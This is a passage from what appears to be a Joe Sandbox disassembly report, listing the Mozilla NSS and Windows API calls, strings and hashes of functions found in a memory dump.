Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CAE93
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C6CAECC
PL_FreeArenaPool.NSS3 ref: 6C6CAEDE
PL_FinishArenaPool.NSS3 ref: 6C6CAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CAEF5
PL_FinishArenaPool.NSS3 ref: 6C6CAF16

Strings

security, xrefs: 6C6CADEE

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 61bff6b2bb6bf6a80249b080d97401dd5a9447dabf5a7986831d16c69e5a71cd
Instruction ID: 30b04a4a87e8a1d094b011f1db4aa56e5b106d5621c01bb42be3d72708355082
Opcode Fuzzy Hash: 61bff6b2bb6bf6a80249b080d97401dd5a9447dabf5a7986831d16c69e5a71cd
Instruction Fuzzy Hash: 43413AB1A04304A7E7205B18EC49BAB72B8EF4630CF140625E914A2F42F735DA1AC7DF

Function 6C76AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C719890: TlsGetValue.KERNEL32(?,?,?,6C7197EB), ref: 6C71989E

EnterCriticalSection.KERNEL32(?), ref: 6C76AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C76AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C76AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C76AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C76B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B070
PR_JoinThread.NSS3(?), ref: 6C76B07B
free.MOZGLUE(?), ref: 6C76B084
EnterCriticalSection.KERNEL32(?), ref: 6C76B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B0C4
PR_JoinThread.NSS3(?), ref: 6C76B0F3
free.MOZGLUE(?), ref: 6C76B0FC
PR_JoinThread.NSS3(?), ref: 6C76B137
free.MOZGLUE(?), ref: 6C76B140

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 21fd622904193fc153ff19e6334f295dae96a49c9dfabf141f1235502bf79b4f
Instruction ID: f9ddc9833ab67dbbcbe1a80a245148f32037fe0ed269237f433b6ae319585ef8
Opcode Fuzzy Hash: 21fd622904193fc153ff19e6334f295dae96a49c9dfabf141f1235502bf79b4f
Instruction Fuzzy Hash: 52916DB5900601DFCB04DF16C98494ABBF1FF8535872985A9E8195BF22E732FC46CB91

Function 6C6E5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2BF0
Part of subcall function 6C6E2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C07
Part of subcall function 6C6E2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C1E
Part of subcall function 6C6E2BE0: free.MOZGLUE(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C4A

free.MOZGLUE(?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D0F
free.MOZGLUE(?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D4E
free.MOZGLUE(?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D62
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D85
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D99
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E3E
free.MOZGLUE(?,?,?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E47
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5F4B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: e791a5d963983e690068c154b75e9ddf8b89e6e44c5a412845851091352e3bbe
Instruction ID: ccfaa29ebd7421f033e672f1e677cedeafec0bb7f6cb9aee69864ac51dab5b3d
Opcode Fuzzy Hash: e791a5d963983e690068c154b75e9ddf8b89e6e44c5a412845851091352e3bbe
Instruction Fuzzy Hash: 2971C2B4A05B019FD700CF60D884A96B7F5FF89308F148529E81E87B11EB32F955CB59

Function 6C668DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C668E22
EnterCriticalSection.KERNEL32(?), ref: 6C668E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C668E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C668E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C668E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C668EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C668EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C668EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F00
free.MOZGLUE(?), ref: 6C668F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C668F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F5B
PR_Unlock.NSS3(?), ref: 6C668F72
PR_Unlock.NSS3(?), ref: 6C668F82

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 3b53da0e8bc34380ef8e9afb662128bf22662be034f5b46d1021dc1c1b29343f
Instruction ID: 4ed5d4e1d00a07b72f3c5744550685c3ed520d2649cf699b35357d5168366f8a
Opcode Fuzzy Hash: 3b53da0e8bc34380ef8e9afb662128bf22662be034f5b46d1021dc1c1b29343f
Instruction Fuzzy Hash: 18510BB2D00215AFD7009F7ACC449AEB7B9EF5A358B144129EC089BF10E731ED4587E6

Function 6C68CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C68CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C68CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C68CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C68CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C68CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C68CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C68CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C68CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C68CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C68CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C68CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C68CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C68CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C68D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C68D021

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: d1f651082c0f3a5d7c5d58c19e336fc211ff98c86a1f23ede3cf83dfc7696c3f
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: C5313071B9791127EF0D149B6C21F9E254A4B6630EF440039F90BE6BC0FA859A5702BD

Function 6C760FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C761000

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C761016

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_Unlock.NSS3(?), ref: 6C761021

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C761046
PR_Unlock.NSS3(?), ref: 6C76106B
PR_Lock.NSS3 ref: 6C761079
PR_Unlock.NSS3 ref: 6C761096
free.MOZGLUE(?), ref: 6C7610A7
free.MOZGLUE(?), ref: 6C7610B4
PR_DestroyCondVar.NSS3(?), ref: 6C7610BF
PR_DestroyCondVar.NSS3(?), ref: 6C7610CA
PR_DestroyCondVar.NSS3(?), ref: 6C7610D5
PR_DestroyCondVar.NSS3(?), ref: 6C7610E0
PR_DestroyLock.NSS3(?), ref: 6C7610EB
free.MOZGLUE(?), ref: 6C761105

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: d5844f10117e651e206211e29e9981062243c96b94bfa0603b7885be07ad219d
Instruction ID: 0be9266e25295d986855f9001a957344754722453cf731bed1f07a0631cffab7
Opcode Fuzzy Hash: d5844f10117e651e206211e29e9981062243c96b94bfa0603b7885be07ad219d
Instruction Fuzzy Hash: 77316BB5900402BBDB019F15EE45A45BBB6FF02319B188130E80952F61E732F979EBDA

Function 6C5DDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5DDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C5DDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5DDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C5DDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DDECD

Strings

%s at line %d of [%.10s], xrefs: 6C5DDF7C, 6C5DDFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DDF6D, 6C5DDFCC, 6C5DDFDD
database corruption, xrefs: 6C5DDF77, 6C5DDFE7

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 9229fedb5ee16a46f2b1f169addab3cd11a2c32e7cfd13c0ad3c1e43b629f763
Instruction ID: c17f001fb6a41653d29d53ad03bc4551fc80e228bc2deba9a953e3157f71b89e
Opcode Fuzzy Hash: 9229fedb5ee16a46f2b1f169addab3cd11a2c32e7cfd13c0ad3c1e43b629f763
Instruction Fuzzy Hash: E6A1B3716043069BC710DF2DCC80A6AB7F5EF95308F1A896DE8858BB51E730F945CBA6

Function 6C69EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C69EE0B

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C69EEE1

Part of subcall function 6C691D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C691D7E
Part of subcall function 6C691D50: EnterCriticalSection.KERNEL32(?), ref: 6C691D8E
Part of subcall function 6C691D50: PR_Unlock.NSS3(?), ref: 6C691DD3

TlsGetValue.KERNEL32 ref: 6C69EE51
EnterCriticalSection.KERNEL32(?), ref: 6C69EE65
PR_Unlock.NSS3(?), ref: 6C69EEA2
free.MOZGLUE(?), ref: 6C69EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C69EED0
PR_Unlock.NSS3(?), ref: 6C69EF48
free.MOZGLUE(?), ref: 6C69EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C69EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C69EFA4
free.MOZGLUE(?), ref: 6C69EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C69F055
free.MOZGLUE(?), ref: 6C69F060

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 1b5c8277085b0aaf0e628a0e698ff6ad375d3f95282e3bb5168e4128c866f2c9
Instruction ID: 30126aafb8ff49667068a156bd3657370fcb8a055a26e1405f569689917ac487
Opcode Fuzzy Hash: 1b5c8277085b0aaf0e628a0e698ff6ad375d3f95282e3bb5168e4128c866f2c9
Instruction Fuzzy Hash: 3A8181B1A0020AABDF00DFA5DC45BEE7BB5BF09318F144025E909A3711E731E965CBA9

Function 6C664CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C664D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C664D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C664DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C664E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C664E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C664E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C664E85
DER_Encode_Util.NSS3(?,?,6C7B05A4,00000000), ref: 6C664EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C664F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C664F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C664F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C664F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C664F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C664FC8

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 587d08d26e206948ffbce55c6eb2a00cedd2dd8134fac1dd78fdb9d00cf67cff
Instruction ID: 2ac62ba7dff3fee9f7dd21be046cea95f236de9391d5fff346251b62a1ffedd7
Opcode Fuzzy Hash: 587d08d26e206948ffbce55c6eb2a00cedd2dd8134fac1dd78fdb9d00cf67cff
Instruction Fuzzy Hash: 2F81B371908301AFE701CF26D850BABB7E4ABC5348F148929F958DBA40E771E905CB9B

Function 6C6A5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C6A5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C6A5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C6A5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C6A5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C6A5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5E18
TlsGetValue.KERNEL32 ref: 6C6A5E5E
EnterCriticalSection.KERNEL32(?), ref: 6C6A5E72
PR_Unlock.NSS3(?), ref: 6C6A5E8B

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

Strings

d, xrefs: 6C6A5C36
tokens=[0x%x=<%s>], xrefs: 6C6A5D3D

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 7c7cac7219beebac83acf4b5ad6ed74eb49e65dcf9495bd46145419a4aada128
Instruction ID: 67d2fa1bc4b4cefd73094192f9e51fc6835de4a1769b98e93e94a216269452af
Opcode Fuzzy Hash: 7c7cac7219beebac83acf4b5ad6ed74eb49e65dcf9495bd46145419a4aada128
Instruction Fuzzy Hash: F871B3B1A05501ABEB00DFA4DC45BAE7275BF4631CF140435E80A9AB46EB32ED17879E

Function 6C698F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C699582), ref: 6C698F5B

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C698F6A

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C698FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C698FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C77D820,6C699576), ref: 6C698FF9
DER_GetInteger_Util.NSS3(?), ref: 6C69901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C69903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C699062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6990A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6990CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6990F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C69912D
